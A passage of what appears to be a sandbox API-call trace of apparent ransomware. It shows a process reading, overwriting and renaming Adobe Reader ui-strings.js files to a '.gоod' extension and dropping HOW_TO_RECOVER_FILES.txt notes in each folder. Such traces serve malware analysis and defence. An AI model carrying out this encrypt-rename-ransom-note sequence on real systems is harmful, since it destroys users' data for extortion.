(in: hFile=0x8a8, lpBuffer=0x3d1c348, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec278, lpOverlapped=0x0 | out: lpBuffer=0x3d1c348*, lpNumberOfBytesRead=0x202ec278*=0x578, lpOverlapped=0x0) returned 1 [0256.308] CloseHandle (hObject=0x8a8) returned 1 [0256.392] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0256.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0256.392] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0256.394] GetFileType (hFile=0x828) returned 0x1 [0256.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0256.394] GetFileType (hFile=0x828) returned 0x1 [0256.394] WriteFile (in: hFile=0x828, lpBuffer=0x3bbae88*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x202ec188, lpOverlapped=0x0 | out: lpBuffer=0x3bbae88*, lpNumberOfBytesWritten=0x202ec188*=0x580, lpOverlapped=0x0) returned 1 [0256.394] CloseHandle (hObject=0x828) returned 1 [0256.394] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0256.394] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0256.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0256.395] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9508ae5e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x580)) returned 1 [0256.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0256.395] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\ui-strings.js.gоod")) returned 1 [0256.396] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0256.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0256.396] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0256.397] GetFileType (hFile=0x828) returned 0x1 [0256.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0256.397] GetFileType (hFile=0x828) returned 0x1 [0256.398] WriteFile (in: hFile=0x828, lpBuffer=0x3bbe798*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x3bbe798*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0256.398] CloseHandle (hObject=0x828) returned 1 [0256.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0256.398] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi", lpFilePart=0x0) returned 0x77 [0256.513] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b1c0 [0256.513] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.513] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.513] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0256.513] FindClose (in: hFindFile=0x134b1c0 | out: hFindFile=0x134b1c0) returned 1 [0256.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0256.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0256.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0256.514] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi", lpFilePart=0x0) returned 0x77 [0256.514] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0256.514] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.514] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.514] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.514] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0256.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0256.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0256.515] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0256.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0256.515] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3ca6fe0 | out: lpFileInformation=0x3ca6fe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x557)) returned 1 [0256.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0256.515] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0256.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0256.515] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0256.515] GetFileType (hFile=0x828) returned 0x1 [0256.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0256.515] GetFileType (hFile=0x828) returned 0x1 [0256.515] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x202ec348 | out: lpFileSizeHigh=0x202ec348*=0x0) returned 0x557 [0256.515] ReadFile (in: hFile=0x828, lpBuffer=0x3ca78e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec278, lpOverlapped=0x0 | out: lpBuffer=0x3ca78e0*, lpNumberOfBytesRead=0x202ec278*=0x557, lpOverlapped=0x0) returned 1 [0256.516] CloseHandle (hObject=0x828) returned 1 [0257.072] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0257.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0257.072] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0257.074] GetFileType (hFile=0x768) returned 0x1 [0257.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0257.074] GetFileType (hFile=0x768) returned 0x1 [0257.074] WriteFile (in: hFile=0x768, lpBuffer=0x3efd598*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x202ec188, lpOverlapped=0x0 | out: lpBuffer=0x3efd598*, lpNumberOfBytesWritten=0x202ec188*=0x560, lpOverlapped=0x0) returned 1 [0257.074] CloseHandle (hObject=0x768) returned 1 [0257.074] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0257.074] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0257.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0257.074] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x95719771, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x560)) returned 1 [0257.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0257.075] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\ui-strings.js.gоod")) returned 1 [0257.076] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0257.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0257.076] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0257.077] GetFileType (hFile=0x768) returned 0x1 [0257.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0257.077] GetFileType (hFile=0x768) returned 0x1 [0257.077] WriteFile (in: hFile=0x768, lpBuffer=0x3f00ea8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x3f00ea8*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0257.078] CloseHandle (hObject=0x768) returned 1 [0257.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0257.078] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr", lpFilePart=0x0) returned 0x77 [0257.078] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0257.078] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.079] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.079] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0257.079] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0257.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0257.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0257.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0257.079] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr", lpFilePart=0x0) returned 0x77 [0257.079] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0257.079] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.079] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, 